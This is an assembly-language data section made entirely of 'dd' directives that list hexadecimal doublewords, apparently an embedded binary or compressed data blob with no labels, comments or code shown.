		dd 0C9B9B117h, 15782E00h, 25CE3D74h, 20309A7Ch,	10C3E337h
		dd 0F95C07CDh, 7194C83Eh, 0BFE8B030h, 1F09038Ch, 0E9B1A78Eh
		dd 39186A88h, 2E85B705h, 8808D01Eh, 8FC1B150h, 96844169h
		dd 0D74F01BDh, 0CFDC519Fh, 8C84F412h, 8A04C3CEh, 910073D2h
		dd 2697E18Fh, 4005E0Ah,	0C11D30F8h, 44EB5B1Ch, 8968C1E8h
		dd 8E106475h, 6C7F230Fh, 9A4701F4h, 646C7D05h, 0A4E71000h
		dd 8E27EF06h, 0F3D20BEh, 4B0BF6B6h, 28118C4Ah, 0D4F14165h
		dd 0C8B4DE58h, 0E73DFA91h, 0CF33CB00h, 5E0E23A0h, 522D3704h
		dd 0C14707h, 7C0267E5h,	0C28B24C1h, 0E1027E22h,	0FC682B55h
		dd 3894B511h, 8ED0E2DBh, 74072B3h, 5DC536E6h, 0D937B24Dh
		dd 6E57FC48h, 0A992B9C0h, 0B0E238C2h, 0A2150364h, 0F61FF52Eh
		dd 0D0520B6h, 9C927953h, 469B203Ch, 0F1F70145h,	9C875A8Bh
		dd 0E7BC0438h, 49D1048Ch, 0C222ED47h, 8029C24Ch, 0B3EC384Ch
		dd 0ACD0517Ah, 450B806Ch, 0F08BB1DCh, 0B876A827h, 4C81BE12h
		dd 3E25F32h, 70F09478h,	7C9A6647h, 0AA61508Dh, 202A4CB6h
		dd 6F7ADA38h, 0B68A801h, 95D2803Fh, 20810C0h, 49A67C7h
		dd 18402FBCh, 0A68016BAh, 3E28078Dh, 41315177h,	60815C87h
		dd 2177BB4h, 80D2E2A3h,	987878F4h, 4BBC0B64h, 0EC82715Eh
		dd 0FCDB5F06h, 88CC6688h, 9E80FD35h, 80DDEC78h,	99871D24h
		dd 0E4F4CCDh, 6C5C06F1h, 0F89B7F9Ch, 10968FF0h,	15B25A91h
		dd 4C8CD34Fh, 4A4122B8h, 7B4440DEh, 0F5EAF993h,	1D9D9B04h
		dd 1CB4CF1Bh, 0F878A047h, 238B9ECh, 84953ADBh, 0DCFA0801h
		dd 94030832h, 921FECB5h, 96AC0585h, 7770C881h, 43125725h
		dd 66A010C4h, 0A293EC2h, 307D21A6h, 0BE94E201h,	7C621FF4h
		dd 83A4054Bh, 0B218F30Eh, 203431CBh, 400808Bh, 16D48BFBh
		dd 1E8A6315h, 34F95702h, 76D88268h, 0A1B0F29h, 0B44A947Ch
		dd 0B3A91A18h, 47ED0C05h, 10D0F906h, 0D080E4B9h, 0E2C993EAh
		dd 0D7E0C1B4h, 50F867E1h, 371A7EA4h, 22B0C052h,	0D46148F0h
		dd 9710412h, 0EC603A88h, 44094346h, 295F1188h, 1C8C4634h
		dd 87B717AAh, 0A0DAF26Dh, 82D7B247h, 0EB644491h, 35C7B741h
		dd 0E088309Ah, 1084B1D4h, 4A7A1746h, 81C8407Bh,	9ADD1D29h
		dd 5DC611C7h, 0ECA36C84h, 0F6E92458h, 367C530h,	98F6D9A5h
		dd 49AF22ACh, 1883B402h, 3A32C458h, 0EC1C8036h,	425D09E8h
		dd 3C1675CDh, 6D35012h,	96F0D008h, 0D1DC3008h, 0ACA3BB48h
		dd 0AC47D8E2h, 561E1C4h, 0EBE0E233h, 6726A4C1h,	4208704Bh
		dd 277109DDh, 0B4025812h, 10EC21D4h, 0FA4FED09h, 361800F4h
		dd 25E15899h, 98655C0Dh, 18702AC2h, 0F3F9D68h, 9A8C0095h
		dd 70B6E34Ah, 0CB03027h, 0A225CC81h, 81B1EA80h,	8194D026h
		dd 7412EE4Fh, 3181C09Bh, 3D33FADDh, 7A7700ACh, 0A861E69Ch
		dd 0AC9424AFh, 807C00FFh, 0CF36B6D0h, 1C406A5Eh, 6CF4CC76h
		dd 0F23A104Fh, 283F7C65h, 0CCDB3C33h, 10407150h, 0C066D77Ch
		dd 5C1EE17Ch, 215C28B6h, 1E816FF0h, 5830EA0h, 409740AFh
		dd 2780CD91h, 0A4E21066h, 0F2B7DF06h, 121DC4Eh,	0FE69918Dh
		dd 0F4E7FA14h, 0D8F93F52h, 0CCB9C01Fh, 80383614h, 5BBEC3A6h
		dd 781695D1h, 0C39EA300h, 0EB281C7Ah, 2D6C00A8h, 16885B24h
		dd 0DCA8C2AAh, 9100E7BEh, 8D215AD3h, 90C43772h,	41DB16E8h
		dd 23CC42E2h, 9C82791Eh, 0E0A085DEh, 0C5C24A12h, 0E0FD6807h
		dd 67900970h, 0C5E34E97h, 802A8204h, 0B2F350E0h, 8106C48h
		dd 876A7AE0h, 144E011Eh, 0C968C184h, 8882CA0h, 2CE5F3EBh
		dd 98E4256Ch, 4A064100h, 826E1E91h, 905A5C7Ch, 7853EFCh
		dd 0E39D8D06h, 0FFB01DA6h, 58035BD3h, 3129BD83h, 7400D71Bh
		dd 25535017h, 0FDD9B8h,	2DA1851Eh, 3C41C41Bh, 0E08B62A3h
		dd 3031C0E8h, 5029B585h, 9D37BD03h, 0D8F40E1Eh,	0D4E6B5AEh
		dd 6D0030AFh, 874EE59Ch, 0CF532EDCh, 3198755Ah,	0D0E58903h
		dd 0B0EB5043h, 0F9F82006h, 5B75861Dh, 1BBD9518h, 0E06AF536h
		dd 0CC802BFh, 858D68B5h, 880F1981h, 8B818002h, 50BCB2D7h
		dd 0F9B103BAh, 606A24A8h, 0E8563E0Ch, 39202903h, 8925C35Eh
		dd 601BC6FFh, 56462118h, 2A010CC3h, 669C9BE6h, 76A0D68Bh
		dd 5152C864h, 91C359C3h, 19184C89h, 7514188h, 12F53AC3h
		dd 297AF01Eh, 2B55C19Dh, 8B5094AAh, 302228ACh, 7595010Ch
		dd 38B5100Ah, 0A3606879h, 53FFBF0Fh, 398D890Dh,	95E02229h
		dd 574FA925h, 0C3725F18h, 787C8929h, 0C3574740h, 2F5A0020h
		dd 8D8B7E6Ah, 2CA00ADDh, 0F801A09h, 14C879B7h, 0BFFA5FB5h
		dd 5985147Dh, 40771503h, 860E92Fh, 5A4ADC5Dh, 0A6750341h
		dd 60564EB5h, 23D6C003h, 152E71BDh, 0B0596130h,	0BB018299h
		dd 1840141Dh, 8C14E8E2h, 0C88B850Eh, 126D8EC7h,	53038458h
		dd 721404BAh, 815A5DFDh, 10223595h, 0C616840Fh,	0B8C3D29h
		dd 484983F6h, 0FB095036h, 61F0E952h, 963DCA10h,	2C321652h
		dd 0BA88054Eh, 4EC81886h, 0F59FEE07h, 0FF295A70h, 19D1DAD0h
		dd 4301BC18h, 1F18ADCh,	5688CE8Bh, 6001EFF2h, 20E1BD2Bh
		dd 499DA350h, 4B7AA21h,	58615039h, 4489C8C3h, 401D448Ch
		dd 61C35000h, 0FE23B902h, 9D0A3D59h, 11E8A60Ch,	96017D25h
		dd 82C94D4Bh, 0EED42EDFh
		dd 2DDA0259h, 8451C515h, 8B381766h, 1B400C2h, 559EE0E6h
		dd 0E594891h, 0DDB2D309h, 0F8433D8Eh, 4BDC180h,	4423D1D1h
		dd 6FCA0975h, 36C21920h, 670BC6B8h, 74912471h, 710BC621h
		dd 0A8CDED29h, 0F240997h, 0E8421D81h, 8C9E230Eh, 95756D8h
		dd 8593A200h, 8E15ECE6h, 0FA8B1A4Eh, 0C804B65Ah, 0C3C76752h
		dd 315489E2h, 5242101Bh, 41EEC3h, 56D4EAA4h, 0BD897EB5h
		dd 929D6548h, 3216A208h, 8A20029Ah, 7BF883D4h, 898535FFh
		dd 23083A17h, 7BE40019h, 100C8AB9h, 0F2816605h,	1981AE46h
		dd 8051EB1h, 0E8E3BDBFh, 510B0013h, 0D48F01EFh,	100076E5h
		dd 881128FEh, 4637F1h, 7F3C8C0Ch, 16E959F9h, 79340159h
		dd 0B3AB5D2h, 0BE1F1B23h, 0C2FD05B9h, 0F3025FF2h, 1020DBDh
		dd 65F58D0Bh, 192023Ch,	3B094707h, 9A3EE5FCh, 38071B23h
		dd 54E0F0E0h, 26203B75h, 4098E860h, 91134455h, 8247F302h
		dd 938A0F7Dh, 9DD8139Bh, 61F94EE9h, 0FFF217A3h,	220848Ch
		dd 19FCE1BFh, 0DDE29647h, 0DD173F07h, 0FB39273Ah, 876D276h
		dd 2BA6038Ah, 55E9D102h, 53AA9102h, 0C3725B18h,	115C8923h
		dd 53430116h, 4C9B76C3h, 9D3D040h, 1CF5309Dh, 0F7FC858Bh
		dd 555A2383h, 45C35D0Eh, 228E6C89h, 0C3554505h,	0BD55C1ABh
		dd 5A836449h, 3F8EB5A8h, 90F4F4CBh, 2C31D35Eh, 4482B195h
		dd 3DDB5040h, 448506Dh,	0CC40F640h, 455ECAFCh, 29091841h
		dd 1A886F4Eh, 3CF005C0h, 0F6686763h, 346A738Ah,	85F97832h
		dd 12E2C250h, 79DE6133h, 77B0A15h, 16208D1h, 0DB8C6600h
		dd 9004C3F6h, 0C6FC4487h, 34929DECh, 52685603h,	149CA8B8h
		dd 782BF95Eh, 53391F17h, 43B0B11h, 1D106584h, 0EE8164DBh
		dd 0FA6720FAh, 47022D84h, 18AC9B68h, 4C53CECh, 1E20F08Bh
		dd 3D61684Fh, 0B9C02F26h, 58942D43h, 537D6330h,	5661286Ah
		dd 75C08518h, 541754Ch,	87649868h, 902A69DBh, 4CB080D0h
		dd 0E772A468h, 4C205AFFh, 7E8842D9h, 5045B25h, 545C6CA6h
		dd 0C70A152Bh, 76B8DB03h, 20C4314h, 0CC852E07h,	6AC5C424h
		dd 1947025Ah, 8B49B52Eh, 67281144h, 97680445h, 1C92A5F7h
		dd 67E62950h, 280C026Ah, 9B3275C2h, 0A1B46860h,	0C8CD44Eh
		dd 73A65EB8h, 0CA43BD45h, 0E7A38C11h, 0E93114B2h, 2DBDE482h
		dd 6CE6061Eh, 12CFA01Ch, 0B2206400h, 0E5E6505Dh, 17A2F073h
		dd 14A4AF30h, 3EE8F248h, 345D2E00h, 3BBDB0FDh, 1D76A80Ch
		dd 2DDD0D3h, 0EA838A46h, 9DE3DE59h, 64CB80A7h, 0A9A435FFh
		dd 86CABA0Ch, 7089A068h, 926DB125h, 138482FEh, 10524C19h
		dd 1CD502D6h, 3C8DA409h, 100E2C59h, 2ABD8B60h, 31B50AA5h
		dd 61357D8Dh, 0FE91F780h, 85639F1Dh, 0AB93B22h,	235DC181h
		dd 3424098Dh, 1627CA3h,	20058363h, 0E689BEB9h, 0EAB024Bh
		dd 0C0A4F85Eh, 0D7A9C256h, 0E18DAC82h, 0B440AA6Ah, 0B14073Fh
		dd 4E228F64h, 6F5D16BEh, 45620E22h, 0F49DC0F6h,	380B8FE7h
		dd 104255BDh, 661F1EFDh, 839EC5B9h, 84B8C1FBh, 23C01418h
		dd 702DEBD9h, 60E5CCE9h, 194811B8h, 16C58552h, 0A48BF788h
		dd 628651B6h, 0C5240EAh, 0A48133C7h, 33DFF15h, 15B83283h
		dd 0C3908104h, 30A65C8Bh, 9222084h, 0DFED815Dh,	838B6522h
		dd 8711B8Ah, 89152EAEh,	4F5D310Ch, 13800FE9h, 696A609Bh
		dd 0C0C03B64h, 795630D2h, 98932807h, 32F116E9h,	236B3B1Bh
		dd 0A440001Ch, 0E3C52FFBh, 7EAE7116h, 99DCB02h,	2061090Eh
		dd 0B2C587D5h, 29EF50FDh, 0C64FC281h, 0BAC300B1h, 0FE1CD14Bh
		dd 8B0CEC9Ch, 260BC18Dh, 9397935Fh, 19E306F8h, 99AE1E2Ah
		dd 22B9B1A1h, 4B800FBh,	54855D7h, 0F7810064h, 0D465BB0Dh
		dd 0BA0E8685h, 1F34B640h, 5FE8EA46h, 1ED770Ch, 4D5868FBh
		dd 300A7556h, 1E40A5D2h, 5A9C8A01h, 1109E930h, 2184398h
		dd 0F0AD0D76h, 4E7B7314h, 0B72D370h, 399DEB7h, 8D09D180h
		dd 8AC2333Dh, 51DAC980h, 43DF02Bh, 21312184h, 0EBDB410h
		dd 0A3551120h, 23172F97h, 29733F14h, 0AC890Fh, 7B296DBFh
		dd 334C5964h, 0C50D2082h, 5B3AE9CCh, 318093C6h,	3571382Eh
		dd 80015BE1h, 65637845h, 69740370h, 49206E6Fh, 72B0669Bh
		dd 0CA3616Dh, 656C5080h, 2CE673F2h, 9608206Fh, 68743007h
		dd 6C3639DFh, 697799C7h, 63F967F9h, 73FD64E9h, 0FBF928BEh
		dd 6440619Bh, 2EFE5278h, 836D2ACEh, 3B685420h, 793D6B16h
		dd 0A9B75BFh, 31FD040Dh, 98702801h, 43627346h, 4C521D54h
		dd 0D1EC7F2Bh, 1ED9699Eh, 0A0B66497h, 702AA18Fh, 6C3C0879h
		dd 8562BF69h, 29647261h, 1F423610h, 73546556h, 3DDF9F99h
		dd 1E7225DEh, 63878043h, 0A94E496Bh, 4F1C640Fh,	87545523h
		dd 0FA6F7250h, 6D0F211Dh, 10F193Bh, 0A17469E6h,	1EC80F3Dh
		dd 8D50CA5Bh, 1E1D188Eh, 0FDBDF840h, 88C9B112h,	7824012Dh
		dd 6A16C09h, 220E5087h,	6865A0D6h, 7AC38025h, 2427617Ch
		dd 421E2F73h, 78B7D19h,	1628B513h, 0A7B024EAh, 5A16C21h
		dd 281B2EF1h, 11878125h, 1CE6ADFCh, 53A14923h, 8D6738F4h
		dd 0FA399164h, 8843BC35h, 8943D658h, 8C545F88h,	8091750Ch
		dd 32B1A2E9h, 0CE13A28h, 0D50DA895h, 8522841Ch,	958B0811h
		dd 810222B1h, 0B1CF8C2h, 958D1118h, 5243F0B6h, 40280334h
		dd 893BD4C3h, 7DCB99FAh, 400C6668h, 8B155591h, 0C317139Dh
		dd 3419C54Ch, 50116265h, 210F8111h, 0F28D1054h,	0F911158h
		dd 0C5385C21h, 567DDC4Ah, 6888AF0Dh, 5AA4CDA0h,	64890CC8h
		dd 19913285h, 86810C8Dh, 0A427D45h, 521C4C77h, 5D0807AFh
		dd 6281B14h, 0D52D7130h, 656A24C4h, 2D992440h, 0DE1D3919h
		dd 0B2CC0112h, 60C12C8Bh, 184674D1h, 0CE16D402h, 6ED09561h
		dd 41B9F7E6h, 3D0D0EF9h, 420EAC6Ch, 93BAE104h, 92547FCh
		dd 0A4F9BE66h, 0F84B9C52h, 8940A828h, 9D22E9h, 5E938D3Dh
		dd 1E60CFh, 0CEFEBE07h,	0DECD67B9h, 8BE69702h, 0D0D0E9C8h
		dd 5E14B690h, 98001646h, 0FCBEFDA3h, 0C065F2Fh,	7E9DF8Ch
		dd 0D5120025h, 76430E8Eh, 0F7356616h, 5C0DFEC7h, 8FD97994h
		dd 60071A29h, 22C98166h, 0D872E85Ah, 0C3322C00h, 0D5CC7AEBh
		dd 0F230358h, 615B0A09h, 4CF0330Fh, 498D699Eh, 2BF8F96Fh
		dd 0D11391FFh, 7D7B1817h, 515030D4h, 9179E65Eh,	2AD35950h
		dd 1D1E362Dh, 9F1811FAh, 8A1DD780h, 3509388h, 0EB53F2BEh
		dd 60BA5A72h, 48005FF1h, 0DA4FF69Ch, 95A20043h,	3B3EFBB5h
		dd 1C005753h, 5AF4EAC4h, 559C9BBh, 615F350Bh, 0E0B5E693h
		dd 3A16AE99h, 56876A30h, 840FB966h, 5359B65Ah, 3017A20Fh
		dd 0CB505FE3h, 0CA880D94h, 1D5600ACh, 363B73F3h, 0EB0971F6h
		dd 48E931C0h, 0F52FA9Bh, 5E1A5CA5h, 0B3FF9073h,	6D1C2316h
		dd 4D00715Dh, 0CBBB17A0h, 62054BC1h, 45D2E9A1h,	4961BA00h
		dd 8B24C83Dh, 9BDEC0C4h, 0EB01CD5Ah, 2BC06BADh,	9886EB1Fh
		dd 77CF481Fh, 690D7AC0h, 722989E5h, 1A712E65h, 0CB036618h
		dd 36EEC0C2h, 0D66225E3h, 0C181D5B0h, 75FA5B09h, 0A1DB622Eh
		dd 0B64509Ah, 0E6348278h, 0F20FF22Dh, 0F2923016h, 64A18F48h
		dd 0A052024Ch, 427BD04h, 81418071h, 24A9B7F2h, 7E1301B8h
		dd 97A1C46h, 1270FD74h,	0B0DC7180h, 0E756FFF5h,	0F4F3F7CFh
		dd 810FA1B3h, 2750422h,	5B37F8D9h, 5678575Ch, 4930104Fh
		dd 1040B60Fh, 22C8FE01h, 1251EBB0h, 503C5F02h, 23362F4Eh
		dd 1032001Dh, 0C4F872FAh
		dd 9BF2C60Ah, 0D102F108h, 62D4B360h, 0E1592085h, 0F6378A55h
		dd 0D38B3961h, 0F0F02CE5h, 2448C74h, 61EF598Ah,	0ACA22DEDh
		dd 81E0850Eh, 2CF5E6F6h, 1C622F0Bh, 8A82312Dh, 0E8C2D0CCh
		dd 0AFC51060h, 0A63A22h, 52496C0Ch, 721CA512h, 0E6D7A09h
		dd 0B3E4A0h, 0BFD99B29h, 31ED8C8Bh, 0D3816000h,	2D8DFC0Eh
		dd 8887700Fh, 5B7F5861h, 6C96C312h, 5BFB70F4h, 0F04E27B9h
		dd 8B5B9EE8h, 100B1430h, 902ED0DEh, 0C0FD096Dh,	3B402FD1h
		dd 676698E8h, 0F12F042h, 4EEDD8F9h, 0C63832Ah, 9D0B0BE9h
		dd 9AEF6400h, 0F334AB4Ch, 9E1F19F8h, 32E96689h,	8B6B0086h
		dd 28BB66A8h, 8DE97A4h,	1C78A4Ch, 0E983945Bh, 338B0F04h
		dd 3CF91F00h, 4E84F765h, 2FE94619h, 0AE79000Bh,	5C2BF2B6h
		dd 0D800F4E0h, 3103A6DBh, 3A9AA266h, 79BB46C1h,	7E85B883h
		dd 4E727CE9h, 0D728940Eh, 0A5304029h, 0B70972h,	0D235D49Fh
		dd 0CE661514h, 0B6960731h, 44BFEF2h, 0EC7AB383h, 67861001h
		dd 0A424C5Ah, 2B5B1040h, 0B6FF0119h, 0C08D6046h, 0E405F0AFh
		dd 195FF380h, 48EA240Bh, 8506E26Fh, 0F4534028h,	30FFE587h
		dd 230B5E50h, 21F60530h, 0B5AFF0Ah, 0E5AE9CBAh,	1831B576h
		dd 398C54E8h, 0E5414CB0h, 58612878h, 56FFB918h,	68773986h
		dd 8E0051E7h, 0A0E30E48h, 923680h, 88B5ED5Fh, 0EF41900Ah
		dd 7618E8EAh, 4E91976Eh, 982B551Dh, 70367E0h, 84D747C3h
		dd 0D9E4E02Eh, 0F863E158h, 80569721h, 0DA2EE67h, 0FD231CEDh
		dd 3FA0DF18h, 0DEF0EA42h, 0F5CE782Ch, 0FFE3B603h, 57F0E014h
		dd 0D626002Dh, 0CE89D551h, 0FD0C0E8Ah, 831FA9Ah, 57280h
		dd 634FC666h, 0E2593EE4h, 4CE557h, 56F265EEh, 0A4CE61A9h
		dd 803978E0h, 48C31852h, 20032BC9h, 0B64485F0h,	0ACAA5439h
		dd 55E000D5h, 6860459Ch, 0B0C5296h, 48BE03E3h, 0E0900DFEh
		dd 82085F9h, 421D67E0h,	161E7E4Ch, 0D3187618h, 0CF8EE8CDh
		dd 4D039621h, 71058805h, 0E8112EC5h, 0ED18881Eh, 3978E48h
		dd 2F42AFFDh, 710ECCE7h, 99B0E60Bh, 3710BDF8h, 0AB1CE11Fh
		dd 0D5C32E78h, 75CE7EDh, 2AFBF4C1h, 2F53A080h, 0DB7F94CFh
		dd 0E258D018h, 0B8A46669h, 697612FFh, 8A1046E3h, 0DB44109Ah
		dd 0B3ED0E60h, 0FB00D267h, 267D8674h, 8E5C0548h, 82A72E28h
		dd 48102F8Dh, 0A8948674h, 14F9FBCh, 0B132531Eh,	9EE21C85h
		dd 80004679h, 0ED7F1F34h, 44940029h, 0D12AFC61h, 0E724BC9Ch
		dd 0A082CC7h, 0C16701FDh, 0D0978D09h, 4D002B0Bh, 42906235h
		dd 0A874B3FFh, 0BCDAC0h, 1D2375C1h, 1C7AF5C9h, 652C8D1Bh
		dd 1C91FC21h, 59A20BE1h, 0C013F088h, 31C18D11h,	26051AFAh
		dd 0A76E77ACh, 0BB36D431h, 2805A821h, 2F0E6060h, 0F921C032h
		dd 4860CA69h, 0E70BE80Ch, 77FD1931h, 0D04C54BAh, 8FE04CD7h
		dd 73672050h, 0DB6100BEh, 65CB11F1h, 0D0FC9403h, 5148456h
		dd 0CE69FD64h, 1D2F3004h, 4C8BC127h, 0DA60F34Bh, 1EFB1AA9h
		dd 93D5005Eh, 7A2209EAh, 9206303Ah, 50E745A0h, 60A80391h
		dd 3D9B84C2h, 76A1B9B0h, 4EF6C24h, 68C40244h, 7808282Fh
		dd 374CA60h, 0BFB31B54h, 5905D4D9h, 91057A12h, 642AC040h
		dd 6002E359h, 0CEAC6152h, 7A0291BEh, 53C12D0Eh,	431C44BDh
		dd 8D040F09h, 7DEA6290h, 8A9882F2h, 577310B4h, 0E2182183h
		dd 44759388h, 22A732DAh, 30C553E9h, 11771D0Ch, 59500792h
		dd 20A2A665h, 4FC06F8Bh, 0D369FB0Ah, 0A03A2C47h, 0F0A0F965h
		dd 0C090ABD8h, 3D564E4h, 0D708F6BBh, 2806B778h,	4AB331E3h
		dd 0F3049240h, 0D1689211h, 8283E967h, 21B35F21h, 659F00F3h
		dd 2413A470h, 0AC008E20h, 391A807Ch, 0D35805EEh, 80B9E5E0h
		dd 57336778h, 3CAB48h, 64E237EBh, 28EC93D3h, 6444FF09h
		dd 0C3845180h, 310353BCh, 5B59F8EDh, 7800F49h, 0F93CCDFh
		dd 0AF86FD6Ch, 2EEC1878h, 8C25520h, 4D1B6920h, 0E305100h
		dd 0AA42FAAh, 74F73966h, 30B56694h, 722671Eh, 10CC610Dh
		dd 2C81B442h, 0DD40C118h, 0CCD2521Bh, 0E7E10446h, 0B3EC34CDh
		dd 18E9CF32h, 0F1429Eh,	6A9A0594h, 67F31F69h, 0E806802h
		dd 0FBAC73B3h, 0BEE69DE3h, 8862921h, 20BBA5C1h,	0EC1301ADh
		dd 0AF529065h, 0EE18C822h, 40E25B1Fh, 6F542983h, 99FCF3F4h
		dd 61D8C4E7h, 0A0C0989h, 70A3D227h, 0D1801586h,	4F001EDCh
		dd 9EBF93C8h, 3DB7BCADh, 0C78065D4h, 0A0FF80E7h, 64005510h
		dd 134B0BE4h, 0FEDFC9B6h, 0E91F0022h, 0C874BC2Ah, 0E8E6B4F4h
		dd 6013CF0h, 0FC5958F2h, 43D455AFh, 0E2F401EDh,	7C303E26h
		dd 0F501F450h, 0E6AC5E00h, 5143C9A4h, 2027625Ah, 914066B1h
		dd 2603328Ch, 295B453Dh, 4711816Eh, 872BB450h, 0B030C10Fh
		dd 0D10157E1h, 400E311Fh, 0F7EDA41Eh, 1CCAF200h, 0AA866A2Eh
		dd 0D0AE5467h, 0F0350983h, 0AA00C671h, 0EC7542C0h, 9B384F03h
		dd 0D098D8C9h, 0CBA766h, 0F8FE3B11h, 0D178E505h, 82766505h
		dd 0EBACE9h, 0A71807EEh, 56E66384h, 0DF118100h,	0AD89994Dh
		dd 4A240053h, 4122E72h,	343F9445h, 0C64E003Bh, 76F4C1E9h
		dd 0E47D00BAh, 0ABDA12EEh, 1E002FA6h, 270DDE8Ch, 0E922374h
		dd 15136B5Eh, 0A76AFDA0h, 5800850Bh, 91382529h,	0CD60DFh
		dd 0ADE4D3AFh, 9B0A08FDh, 3D3DFAE0h, 1A388030h,	0CE7ED6DBh
		dd 0CCA90C3Ch, 59805CB0h, 4AF85000h, 0DCF24934h, 86190090h
		dd 78B9965Fh, 5A002E65h, 2797B46Ch, 3FAA55h, 0E35B3DAEh
		dd 0C24A43F9h, 0CFB6E700h, 0D45C10Ch, 59FF02F4h, 0A13686C3h
		dd 42E8A180h, 3DFE0EC2h, 0D2FB8F00h, 769C0326h,	441900A2h
		dd 0CB40D181h, 490EF14Ah, 0A445EFCAh, 0A4918957h, 3AF4BC5Eh
		dd 0ED2E0040h, 0CFA6445Dh, 1E4CBD47h, 0E9F27B50h, 62EB1500h
		dd 1CAD57EFh, 0A6400092h, 604712E1h, 6348594Ah,	4D050018h
		dd 1CAFD970h, 12A00A7h,	0A9D37E4Bh, 2D709C18h, 0D5744500h
		dd 168D963Dh, 35B73BBBh, 58862E0h, 3C05BCB0h, 0A7E74DC3h
		dd 0B2590EEBh, 16396340h, 0C4AAA64h, 218B7400h,	49136EBh
		dd 728C7E5h, 4088095h, 9C026FDAh, 0B05AFEEFh, 83404870h
		dd 907B04D0h, 900E8AA7h, 744E668h, 0D41DBA24h, 1931A80Ch
		dd 0B860493Bh, 40D36E19h, 8402F429h, 76383100h,	0B8F375DAh
		dd 778002Dh, 0B42FF481h, 93F41191h, 0A4BF1901h,	9CC7A838h
		dd 0FBDBD4h, 69E40837h,	536F2239h, 7943E00Ah, 2D00C080h
		dd 8CED4031h, 0B3BF0012h, 5A967371h, 0FEB8151Eh, 0EC696800h
		dd 6118B240h, 0F25F3DACh, 0C9807480h, 0F554AD7Fh, 0B44E8B28h
		dd 11838A00h, 0BA306D9Ah, 3E220071h, 0CA62DAD7h, 0B100E174h
		dd 8D8B0C86h, 0EE74053h, 3790A161h, 8A46C882h, 0F0776CE1h
		dd 0C000C9EFh, 1BE83C09h, 0E0ECDB6h, 9FA91815h,	8C8964A0h
		dd 0D90048CBh, 88618AB4h, 3B5482h, 0EF93F72h, 77328FB9h
		dd 0A8391800h, 0B17B0B10h, 0D7901E23h, 0FF48803Ah, 0C3F0432Fh
		dd 0E27FD20Ch, 97C65Eh,	0D38A3161h, 77A3147Bh, 0CF89AF02h
		dd 80FBB738h, 19CCC592h, 0EADA00ECh, 3EC7A103h,	0F3008480h
		dd 2640F454h, 0F625923Bh, 36B60029h, 721DC833h,	1F70D0C3h
		dd 0D1008DB0h, 0FEFA3560h, 3A6B2307h, 0E7800FE5h, 965D18E2h
		dd 0CE0030ECh, 4E473A93h, 4F7C451h, 3C7B7660h, 3E12C0A6h
		dd 18E2F134h, 3661D018h, 3C0FF719h, 0D4801081h,	0E3BE3386h
		dd 0D703B291h, 55029383h, 0A820B8BDh, 0CF841FF0h, 80A1DFBBh
		dd 49AB877Eh, 0DF1F9BC8h
		dd 8EFC6CEBh, 20B8861Bh, 48BE1842h, 0F6300F5h, 34078D08h
		dd 0E43FC9E6h, 74AA001Dh, 1FD39F35h, 3A77EACh, 8F012CEAh
		dd 0B2D05CDEh, 4422C625h, 4F3B051Ah, 0C2E95699h, 0D2E03E48h
		dd 0CC4DF786h, 79FB0308h, 1201BFh, 7BE1EA44h, 45F2CDD0h
		dd 5BAED409h, 0ACEC840Fh, 0DCE10400h, 0B926C36Ch, 980FC8Ch
		dd 3594F037h, 125A7946h, 1BF7DC5h, 4BA865A8h, 0A71E4A0h
		dd 38301F4Ch, 333E0083h, 66D73699h, 7E56E8C3h, 0CC240004h
		dd 0DA06D64Dh, 2324B617h, 8200004Ch, 0CEB17147h, 0A26F00ACh
		dd 0BB12DD35h, 0A100A6CFh, 886CC2E5h, 94ED871Dh, 95907B0h
		dd 581090ACh, 0FC92EE63h, 9B6A172Ch, 7087F104h,	1157A887h
		dd 3C379210h, 1DC0E2B9h, 0CE910C6Ch, 1920F031h,	411ABBDBh
		dd 4CB12026h, 0A022CD0Fh, 4EDEDF69h, 5E8D01B7h,	0C925FD05h
		dd 0CDF86021h, 1D5AF300h, 0E4A6012Eh, 9487487Ah, 572FDB04h
		dd 90F9C4B5h, 0FAE252ECh, 0CE393E24h, 0F8472800h, 3C5C47Ch
		dd 953BAC98h, 0E088858Fh, 67F20556h, 0A11BDB03h, 0F83002FBh
		dd 0E4F7D79h, 658E2B1h,	19D16280h, 81001880h, 0FB412932h
		dd 0ABB7F009h, 393600D4h, 6BC2D3C4h, 22487E9Bh,	941D005Bh
		dd 28776054h, 91B8000Dh, 10B5A5DBh, 0B5A04DB9h,	0CA00A0C2h
		dd 8748E07h, 353CC41h, 0A8978A5Fh, 3AC0B618h, 0AD5D81FBh
		dd 0E00070D8h, 0A7839936h, 4F504Dh, 898C09E4h, 4C4A4BA5h
		dd 8D0EE507h, 0EC6FAA8Ah, 1C841170h, 474D4EA4h,	108E0FEAh
		dd 1DA240BEh, 7F13FD78h, 0ACD161EDh, 0D9838207h, 96424405h
		dd 6FA34CCBh, 9B6243E7h, 2BE4B1C0h, 0B90114A0h,	0BA6B6102h
		dd 1658A4Ch, 0BCBE3C9Eh, 0B23E20h, 41399FB0h, 633EB4h
		dd 88E6032Bh, 0E96D7502h, 0E755B80Bh, 558A3h, 65308E12h
		dd 2FD04DCh, 0FB1C5C00h, 222DA2BEh, 0E25014EEh,	2C00587Dh
		dd 9F695929h, 0E428BAFFh, 70C0804h, 80678CAAh, 0E565048Fh
		dd 90EE3F2Ah, 0AFC56DD0h, 0A9D1ACA8h, 0D55ACE0Eh, 0D34E8161h
		dd 7041E905h, 1442AC83h, 0F3B30061h, 0A804FBB6h, 0BC363B95h
		dd 0AD78A0h, 0B4C66721h, 0AE740565h, 35E738C4h,	1F30B0A0h
		dd 9CACE4h, 0A7BA7D1Dh,	2D008A66h, 0E7E8486Dh, 0CF1AA30h
		dd 0AEB833FEh, 22849129h, 1C426FB5h, 22A8CD11h,	0ADB10EA5h
		dd 8E2010DCh, 0BFB5383Bh, 126EC200h, 0EC0D2091h, 0D51B00F5h
		dd 27E59426h, 0F1F676DBh, 0E04EFC00h, 0C79D028h, 470A01FBh
		dd 667D17DFh, 85846064h, 87CA4E0Bh, 0DEF02214h,	97392042h
		dd 0EB1CB56Ch, 61070C6Eh, 0C09F8625h, 8EF62DAFh, 0BFBB00E3h
		dd 0A85B1F3Fh, 7E001B89h, 94118C5Ch, 0EEF74C8h,	95BFA52Bh
		dd 5316D020h, 0E5008821h, 0EA995A48h, 645C676h,	9D4E5EC7h
		dd 0FB001186h, 1B357F72h, 0F7F93Ch, 63A83402h, 741C3B4Dh
		dd 89220C1Ch, 0CB2609C0h, 8735EDh, 40F5516h, 0F5BE3BDDh
		dd 533C321Dh, 0AF082F81h, 0FC501331h, 7E85955h,	572A2444h
